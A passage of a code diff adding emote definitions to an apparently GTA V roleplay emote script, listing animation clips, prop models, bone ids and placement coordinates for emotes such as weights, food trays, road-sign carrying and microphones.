+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["tennisplay"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Tennis Play",
+ AnimationOptions = {
+ Prop = "prop_tennis_bag_01",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.27,
+ 0.0,
+ 0.0,
+ 91.0,
+ 0.0,
+ -82.9999951
+ },
+ SecondProp = 'prop_tennis_rack_01',
+ SecondPropBone = 60309,
+ SecondPropPlacement = {
+ 0.0800,
+ 0.0300,
+ 0.0,
+ -130.2907295,
+ 3.8782324,
+ 6.588224
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["weights"] = {
+ "amb@world_human_muscle_free_weights@male@barbell@base",
+ "base",
+ "Weights",
+ AnimationOptions = {
+ Prop = "prop_curl_bar_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["weights2"] = {
+ "amb@world_human_muscle_free_weights@male@barbell@idle_a",
+ "idle_d",
+ "Weights 2",
+ AnimationOptions = {
+ Prop = "prop_curl_bar_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["weights3"] = { -- Custom Emote By Amnilka
+ "frabi@malepose@solo@firstsport",
+ "pose_sport_004",
+ "Weights 3 - Pose",
+ AnimationOptions = {
+ Prop = 'prop_barbell_01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0660,
+ 0.0100,
+ -0.0300,
+ 90.0000,
+ 90.0000,
+ -79.9999
+ },
+ EmoteLoop = true,
+ }
+ },
+ ["weights4"] = { -- Custom Emote By Amnilka
+ "frabi@malepose@solo@firstsport",
+ "pose_sport_003",
+ "Weights 4 - Pose",
+ AnimationOptions = {
+ Prop = 'prop_barbell_01', -- Left Wrist
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0520,
+ -0.0010,
+ 0.0131,
+ 21.5428,
+ 70.2098,
+ 74.5019
+ },
+ SecondProp = 'prop_barbell_01', -- Right Wrist
+ SecondPropBone = 28422,
+ SecondPropPlacement = {
+ 0.0660,
+ 0.0100,
+ -0.0300,
+ 90.0000,
+ 90.0000,
+ -79.9999
+ },
+ EmoteLoop = true,
+ }
+ },
+ ["weights5"] = { -- Custom Female Emote By Frabi
+ "frabi@femalepose@solo@firstsport",
+ "fem_pose_sport_001",
+ "Weights 5 - Female Pose",
+ AnimationOptions = {
+ Prop = 'v_res_tre_weight',
+ PropBone = 28422, -- Right Wrist
+ PropPlacement = {
+ 0.0580,
+ -0.0060,
+ 0.0300,
+ -11.8498,
+ 170.2644,
+ 7.8352
+ },
+ SecondProp = 'v_res_tre_weight',
+ SecondPropBone = 60309, -- Left Wrist
+ SecondPropPlacement = {
+ 0.0880,
+ 0.0000,
+ 0.0590,
+ -29.1132,
+ -128.5627,
+ 13.7517
+ },
+ EmoteLoop = true,
+ }
+ },
+ ["weights6"] = { -- Custom Female Emote By Frabi
+ "frabi@femalepose@solo@firstsport",
+ "fem_pose_sport_002",
+ "Weights 6 - Female Pose 2",
+ AnimationOptions = {
+ Prop = 'v_res_tre_weight',
+ PropBone = 28422, -- Right Wrist
+ PropPlacement = {
+ 0.0700,
+ 0.0400,
+ -0.0600,
+ 24.5966,
+ 6.4814,
+ -13.9845
+ },
+ SecondProp = 'v_res_tre_weight',
+ SecondPropBone = 60309, -- Left Wrist
+ SecondPropPlacement = {
+ 0.0550,
+ -0.0070,
+ -0.0309,
+ -20.5854,
+ -15.0123,
+ 0.5710
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["weights7"] = { -- Custom Female Emote By Frabi
+ "frabi@femalepose@solo@firstsport",
+ "fem_pose_sport_003",
+ "Weights 7 - Female Pose 3",
+ AnimationOptions = {
+ Prop = 'prop_freeweight_01',
+ PropBone = 28422, -- Right Wrist
+ PropPlacement = {
+ 0.0500,
+ 0.0100,
+ -0.0200,
+ 88.6283,
+ -51.8805,
+ 54.3903
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["fuel"] = {
+ "weapons@misc@jerrycan@",
+ "fire",
+ "Fuel",
+ AnimationOptions = {
+ Prop = "w_am_jerrycan",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.1800,
+ 0.1300,
+ -0.2400,
+ -165.8693883,
+ -11.2122753,
+ -32.9453021
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["fuel2"] = {
+ "weapons@misc@jerrycan@franklin",
+ "idle",
+ "Fuel 2 (Carry)",
+ AnimationOptions = {
+ Prop = "w_am_jerrycan",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.26,
+ 0.050,
+ 0.0300,
+ 80.00,
+ 180.000,
+ 79.99
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["hitchhike"] = {
+ "random@hitch_lift",
+ "idle_f",
+ "Hitchhike",
+ AnimationOptions = {
+ Prop = "w_am_jerrycan",
+ PropBone = 18905,
+ PropPlacement = {
+ 0.32,
+ -0.0100,
+ 0.0,
+ -162.423,
+ 74.83,
+ 58.79
+ },
+ SecondProp = 'prop_michael_backpack',
+ SecondPropBone = 40269,
+ SecondPropPlacement = {
+ -0.07,
+ -0.21,
+ -0.11,
+ -144.93,
+ 117.358,
+ -6.16
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["ssign"] = {
+ "rcmnigel1d",
+ "base_club_shoulder",
+ "Steal Stop Sign",
+ AnimationOptions = {
+ Prop = "prop_sign_road_01a",
+ PropBone = 60309,
+ PropPlacement = {
+ -0.1390,
+ -0.9870,
+ 0.4300,
+ -67.3315314,
+ 145.0627869,
+ -4.4318885
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["ssign2"] = {
+ "rcmnigel1d",
+ "base_club_shoulder",
+ "Steal Yield Sign",
+ AnimationOptions = {
+ Prop = "prop_sign_road_02a",
+ PropBone = 60309,
+ PropPlacement = {
+ -0.1390,
+ -0.9870,
+ 0.4300,
+ -67.3315314,
+ 145.0627869,
+ -4.4318885
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["ssign3"] = {
+ "rcmnigel1d",
+ "base_club_shoulder",
+ "Steal Hospital Sign",
+ AnimationOptions = {
+ Prop = "prop_sign_road_03d",
+ PropBone = 60309,
+ PropPlacement = {
+ -0.1390,
+ -0.9870,
+ 0.4300,
+ -67.3315314,
+ 145.0627869,
+ -4.4318885
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["ssign4"] = {
+ "rcmnigel1d",
+ "base_club_shoulder",
+ "Steal Parking Sign",
+ AnimationOptions = {
+ Prop = "prop_sign_road_04a",
+ PropBone = 60309,
+ PropPlacement = {
+ -0.1390,
+ -0.9870,
+ 0.4300,
+ -67.3315314,
+ 145.0627869,
+ -4.4318885
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["ssign5"] = {
+ "rcmnigel1d",
+ "base_club_shoulder",
+ "Steal Parking Sign 2",
+ AnimationOptions = {
+ Prop = "prop_sign_road_04w",
+ PropBone = 60309,
+ PropPlacement = {
+ -0.1390,
+ -0.9870,
+ 0.4300,
+ -67.3315314,
+ 145.0627869,
+ -4.4318885
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["ssign6"] = {
+ "rcmnigel1d",
+ "base_club_shoulder",
+ "Steal Pedestrian Sign",
+ AnimationOptions = {
+ Prop = "prop_sign_road_05a",
+ PropBone = 60309,
+ PropPlacement = {
+ -0.1390,
+ -0.9870,
+ 0.4300,
+ -67.3315314,
+ 145.0627869,
+ -4.4318885
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["ssign7"] = {
+ "rcmnigel1d",
+ "base_club_shoulder",
+ "Steal Street Sign",
+ AnimationOptions = {
+ Prop = "prop_sign_road_05t",
+ PropBone = 60309,
+ PropPlacement = {
+ -0.1390,
+ -0.9870,
+ 0.4300,
+ -67.3315314,
+ 145.0627869,
+ -4.4318885
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["ssign8"] = {
+ "rcmnigel1d",
+ "base_club_shoulder",
+ "Steal Freeway Sign",
+ AnimationOptions = {
+ Prop = "prop_sign_freewayentrance",
+ PropBone = 60309,
+ PropPlacement = {
+ -0.1390,
+ -0.9870,
+ 0.4300,
+ -67.3315314,
+ 145.0627869,
+ -4.4318885
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["ssign9"] = {
+ "rcmnigel1d",
+ "base_club_shoulder",
+ "Steal Stop Sign Snow",
+ AnimationOptions = {
+ Prop = "prop_snow_sign_road_01a",
+ PropBone = 60309,
+ PropPlacement = {
+ -0.1390,
+ -0.9870,
+ 0.4300,
+ -67.3315314,
+ 145.0627869,
+ -4.4318885
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["conehead"] = {
+ "move_m@drunk@verydrunk_idles@",
+ "fidget_07",
+ "Cone Head",
+ AnimationOptions = {
+ Prop = "prop_roadcone02b",
+ PropBone = 31086,
+ PropPlacement = {
+ 0.0500,
+ 0.0200,
+ -0.000,
+ 30.0000004,
+ 90.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foodtraya"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Food Tray",
+ AnimationOptions = {
+ Prop = "prop_food_bs_tray_03",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0100,
+ -0.0400,
+ -0.1390,
+ 20.0000007,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foodtrayb"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Food Tray B",
+ AnimationOptions = {
+ Prop = "prop_food_bs_tray_02",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0100,
+ -0.0400,
+ -0.1390,
+ 20.0000007,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foodtrayc"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Food Tray C",
+ AnimationOptions = {
+ Prop = "prop_food_cb_tray_02",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0100,
+ -0.0400,
+ -0.1390,
+ 20.0000007,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foodtrayd"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Food Tray D",
+ AnimationOptions = {
+ Prop = "prop_food_tray_02",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0100,
+ -0.0400,
+ -0.1390,
+ 20.0000007,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foodtraye"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Food Tray E",
+ AnimationOptions = {
+ Prop = "prop_food_tray_03",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0100,
+ -0.0400,
+ -0.1390,
+ 20.0000007,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foodtrayf"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Food Tray F",
+ AnimationOptions = {
+ Prop = "prop_food_bs_tray_02",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.2500,
+ 0.1000,
+ 0.0700,
+ -110.5483936,
+ 73.3529273,
+ -16.338362
+ },
+ SecondProp = 'prop_food_bs_tray_03',
+ SecondPropBone = 18905,
+ SecondPropPlacement = {
+ 0.2200,
+ 0.1300,
+ -0.1000,
+ -127.7725487,
+ 110.2074758,
+ -3.5886263
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foodtrayg"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Food Tray G",
+ AnimationOptions = {
+ Prop = "prop_food_cb_tray_02",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.2500,
+ 0.1000,
+ 0.0700,
+ -110.5483936,
+ 73.3529273,
+ -16.338362
+ },
+ SecondProp = 'prop_food_cb_tray_02',
+ SecondPropBone = 18905,
+ SecondPropPlacement = {
+ 0.2200,
+ 0.1300,
+ -0.1000,
+ -127.7725487,
+ 110.2074758,
+ -3.5886263
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foodtrayh"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Food Tray H",
+ AnimationOptions = {
+ Prop = "prop_food_tray_02",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.2500,
+ 0.1000,
+ 0.0700,
+ -110.5483936,
+ 73.3529273,
+ -16.338362
+ },
+ SecondProp = 'prop_food_tray_03',
+ SecondPropBone = 18905,
+ SecondPropPlacement = {
+ 0.2200,
+ 0.1300,
+ -0.1000,
+ -127.7725487,
+ 110.2074758,
+ -3.5886263
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foodtrayi"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Food Tray I",
+ AnimationOptions = {
+ Prop = "prop_food_tray_02",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.2500,
+ 0.1000,
+ 0.0700,
+ -110.5483936,
+ 73.3529273,
+ -16.338362
+ },
+ SecondProp = 'prop_food_tray_02',
+ SecondPropBone = 18905,
+ SecondPropPlacement = {
+ 0.2200,
+ 0.1300,
+ -0.1000,
+ -127.7725487,
+ 110.2074758,
+ -3.5886263
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foodtrayj"] = {
+ "anim@move_f@waitress",
+ "idle",
+ "Food Tray J",
+ AnimationOptions = {
+ Prop = "prop_food_bs_tray_02",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0200,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foodtrayk"] = {
+ "anim@move_f@waitress",
+ "idle",
+ "Food Tray K",
+ AnimationOptions = {
+ Prop = "prop_food_bs_tray_02",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0200,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foodtrayl"] = {
+ "anim@move_f@waitress",
+ "idle",
+ "Food Tray L",
+ AnimationOptions = {
+ Prop = "prop_food_bs_tray_03",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0200,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foodtraym"] = {
+ "anim@move_f@waitress",
+ "idle",
+ "Food Tray M",
+ AnimationOptions = {
+ Prop = "prop_food_cb_tray_02",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0200,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foodtrayn"] = {
+ "anim@move_f@waitress",
+ "idle",
+ "Food Tray N",
+ AnimationOptions = {
+ Prop = "prop_food_tray_02",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0200,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foodtrayo"] = {
+ "anim@move_f@waitress",
+ "idle",
+ "Food Tray O",
+ AnimationOptions = {
+ Prop = "prop_food_tray_02",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0200,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mnc"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Milk & Cookies",
+ AnimationOptions = {
+ Prop = "m23_2_prop_m32_milkncookies_01a",
+ PropBone = 57005, --- Right Wrist
+ PropPlacement = {
+ 0.2150,
+ 0.1140,
+ 0.0240,
+ -81.9185,
+ -176.2526,
+ -28.4674
+ },
+ SecondProp = 'm23_2_prop_m32_milkncookies_01a',
+ SecondPropBone = 18905, -- Left Wrist
+ SecondPropPlacement = {
+ 0.2700,
+ 0.1100,
+ 0.0350,
+ -90.0000,
+ -180.0000,
+ 30.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["carrypizza"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Carry Pizza Box",
+ AnimationOptions = {
+ Prop = "prop_pizza_box_02",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0100,
+ -0.1000,
+ -0.1590,
+ 20.0000007,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["carryfoodbag"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Carry Food Bag",
+ AnimationOptions = {
+ Prop = "prop_food_bs_bag_01",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.3300,
+ 0.0,
+ -0.0300,
+ 0.0017365,
+ -79.9999997,
+ 110.0651988
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["carryfoodbag2"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Carry Food Bag 2",
+ AnimationOptions = {
+ Prop = "prop_food_cb_bag_01",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.3800,
+ 0.0,
+ -0.0300,
+ 0.0017365,
+ -79.9999997,
+ 110.0651988
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["carryfoodbag3"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Carry Food Bag 3",
+ AnimationOptions = {
+ Prop = "prop_food_bag1",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.3800,
+ 0.0,
+ -0.0300,
+ 0.0017365,
+ -79.9999997,
+ 110.0651988
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["tag"] = {
+ "anim@scripted@freemode@postertag@graffiti_spray@male@",
+ "shake_can_male",
+ "Tagging Shake Can Male",
+ AnimationOptions = {
+ Prop = "prop_cs_spray_can",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0700,
+ 0.0017365,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["tag2"] = {
+ "anim@scripted@freemode@postertag@graffiti_spray@heeled@",
+ "shake_can_female",
+ "Tagging Shake Can Female",
+ AnimationOptions = {
+ Prop = "prop_cs_spray_can",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0700,
+ 0.0017365,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["tag3"] = {
+ "anim@scripted@freemode@postertag@graffiti_spray@male@",
+ "spray_can_var_01_male",
+ "Tagging Male 1",
+ AnimationOptions = {
+ Prop = "prop_cs_spray_can",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0700,
+ 0.0017365,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["tag4"] = {
+ "anim@scripted@freemode@postertag@graffiti_spray@male@",
+ "spray_can_var_02_male",
+ "Tagging Male 2",
+ AnimationOptions = {
+ Prop = "prop_cs_spray_can",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0700,
+ 0.0017365,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["tag5"] = {
+ "anim@scripted@freemode@postertag@graffiti_spray@heeled@",
+ "spray_can_var_01_female",
+ "Tagging Female 1",
+ AnimationOptions = {
+ Prop = "prop_cs_spray_can",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0700,
+ 0.0017365,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["tag6"] = {
+ "anim@scripted@freemode@postertag@graffiti_spray@heeled@",
+ "spray_can_var_02_female",
+ "Tagging Female 2",
+ AnimationOptions = {
+ Prop = "prop_cs_spray_can",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0700,
+ 0.0017365,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["beans"] = {
+ "anim@scripted@island@special_peds@pavel@hs4_pavel_ig5_caviar_p1",
+ "base_idle",
+ "Beans",
+ AnimationOptions = {
+ Prop = "h4_prop_h4_caviar_tin_01a",
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0,
+ 0.0300,
+ 0.0100,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ SecondProp = 'h4_prop_h4_caviar_spoon_01a',
+ SecondPropBone = 28422,
+ SecondPropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["pho"] = {
+ "anim@scripted@island@special_peds@pavel@hs4_pavel_ig5_caviar_p1",
+ "base_idle",
+ "Pho",
+ AnimationOptions = {
+ Prop = "scully_pho",
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0,
+ 0.0300,
+ 0.0100,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ SecondProp = 'scully_spoon_pho',
+ SecondPropBone = 28422,
+ SecondPropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["dinner"] = {
+ "anim@scripted@island@special_peds@pavel@hs4_pavel_ig5_caviar_p1",
+ "base_idle",
+ "Dinner",
+ AnimationOptions = {
+ Prop = "prop_cs_plate_01",
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ SecondProp = 'h4_prop_h4_caviar_spoon_01a',
+ SecondPropBone = 28422,
+ SecondPropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["newscam"] = {
+ "missfinale_c2mcs_1",
+ "fin_c2_mcs_1_camman",
+ "News Camera",
+ AnimationOptions = {
+ Prop = "prop_v_cam_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0300,
+ 0.0100,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["newsmic"] = {
+ "anim@heists@humane_labs@finale@keycards",
+ "ped_a_enter_loop",
+ "News Microphone",
+ AnimationOptions = {
+ Prop = "p_ing_microphonel_01",
+ PropBone = 4154,
+ PropPlacement = {
+ -0.00,
+ -0.0200,
+ 0.1100,
+ 0.00,
+ 0.0,
+ 60.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["newsbmic"] = {
+ "missfra1",
+ "mcs2_crew_idle_m_boom",
+ "News Boom Microphone",
+ AnimationOptions = {
+ Prop = "prop_v_bmike_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["microck"] = { --- Custom Emote Provided To RpEmotes By Prue颜
+ "lunyx@mic@p1",
+ "mic@p1",
+ "Microphone Rock",
+ AnimationOptions = {
+ Prop = "sf_prop_sf_mic_01a",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0300,
+ 0.0200,
+ -0.0300,
+ 162.9608,
+ -91.1712,
+ -3.8249
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["microckb"] = { --- Custom Emote Provided To RpEmotes By Prue颜
+ "lunyx@mic@p2",
+ "mic@p2",
+ "Microphone Rock 2",
+ AnimationOptions = {
+ Prop = "sf_prop_sf_mic_01a",
+ PropBone = 60309, -- Left Wrist
+ PropPlacement = {
+ 0.0350,
+ 0.0180,
+ 0.0290,
+ -180.0000,
+ -13.0000,
+ 0.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["microckc"] = { --- Custom Emote Provided To RpEmotes By Prue颜
+ "lunyx@mic@p3",
+ "mic@p3",
+ "Microphone Rock 3",
+ AnimationOptions = {
+ Prop = "sf_prop_sf_mic_01a",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0300,
+ 0.0200,
+ -0.0300,
+ 162.9608,
+ -91.1712,
+ -3.8249
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["microckd"] = { --- Custom Emote Provided To RpEmotes By Prue颜
+ "lunyx@mic@p4",
+ "mic@p4",
+ "Microphone Rock 4",
+ AnimationOptions = {
+ Prop = "sf_prop_sf_mic_01a",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0300,
+ 0.0200,
+ -0.0300,
+ 162.9608,
+ -91.1712,
+ -3.8249
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["microcke"] = { --- Custom Emote Provided To RpEmotes By Prue颜
+ "lunyx@mic@p5",
+ "mic@p5",
+ "Microphone Rock 5",
+ AnimationOptions = {
+ Prop = "sf_prop_sf_mic_01a",
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0370,
+ 0.0130,
+ 0.0150,
+ -173.6259,
+ -93.5253,
+ 4.6450
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["microckf"] = { --- Custom Emote Provided To RpEmotes By Prue颜
+ "lunyx@mic@p6",
+ "mic@p6",
+ "Microphone Rock 6",
+ AnimationOptions = {
+ Prop = "v_ilev_fos_mic",
+ PropBone = 28422,
+ PropPlacement = {
+ -0.4410,
+ -1.0600,
+ -0.4800,
+ -57.7266,
+ 51.8164,
+ 3.0976
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["microckg"] = { --- Custom Emote Provided To RpEmotes By Prue颜
+ "lunyx@mic@p7",
+ "mic@p7",
+ "Microphone Rock 7",
+ AnimationOptions = {
+ Prop = "v_ilev_fos_mic",
+ PropBone = 28422,
+ PropPlacement = {
+ -0.8210,
+ -0.0900,
+ -1.1900,
+ -2.5478,
+ 36.3684,
+ -11.7503
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["microckh"] = { --- Custom Emote Provided To RpEmotes By Prue颜
+ "lunyx@mic@p8",
+ "mic@p8",
+ "Microphone Rock 8",
+ AnimationOptions = {
+ Prop = "sf_prop_sf_mic_01a",
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0370,
+ 0.0130,
+ 0.0150,
+ -173.6259,
+ -93.5253,
+ 4.6450
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["microcki"] = { --- Custom Emote Provided To RpEmotes By Prue颜
+ "lunyx@mic@p9",
+ "mic@p9",
+ "Microphone Rock 9",
+ AnimationOptions = {
+ Prop = "sf_prop_sf_mic_01a",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0300,
+ 0.0200,
+ -0.0300,
+ 162.9608,
+ -91.1712,
+ -3.8249
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["microckj"] = { --- Custom Emote Provided To RpEmotes By Prue颜
+ "lunyx@mic@p10",
+ "mic@p10",
+ "Microphone Rock 10",
+ AnimationOptions = {
+ Prop = "sf_prop_sf_mic_01a",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0300,
+ 0.0200,
+ -0.0300,
+ 162.9608,
+ -91.1712,
+ -3.8249
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["leafblower"] = {
+ "amb@world_human_gardener_leaf_blower@base",
+ "base",
+ "Leaf Blower",
+ AnimationOptions = {
+ Prop = "prop_leaf_blower_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_armenian3",
+ PtfxName = "ent_anim_leaf_blower",
+ PtfxPlacement = {
+ 1.0,
+ 0.0,
+ -0.25,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('useleafblower'),
+ PtfxWait = 2000,
+ PtfxCanHold = true
+ }
+ },
+ ["bbqf"] = {
+ "amb@prop_human_bbq@male@idle_a",
+ "idle_b",
+ "BBQ (Female)",
+ AnimationOptions = {
+ Prop = "prop_fish_slice_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["pump"] = {
+ "missfbi4prepp1",
+ "idle",
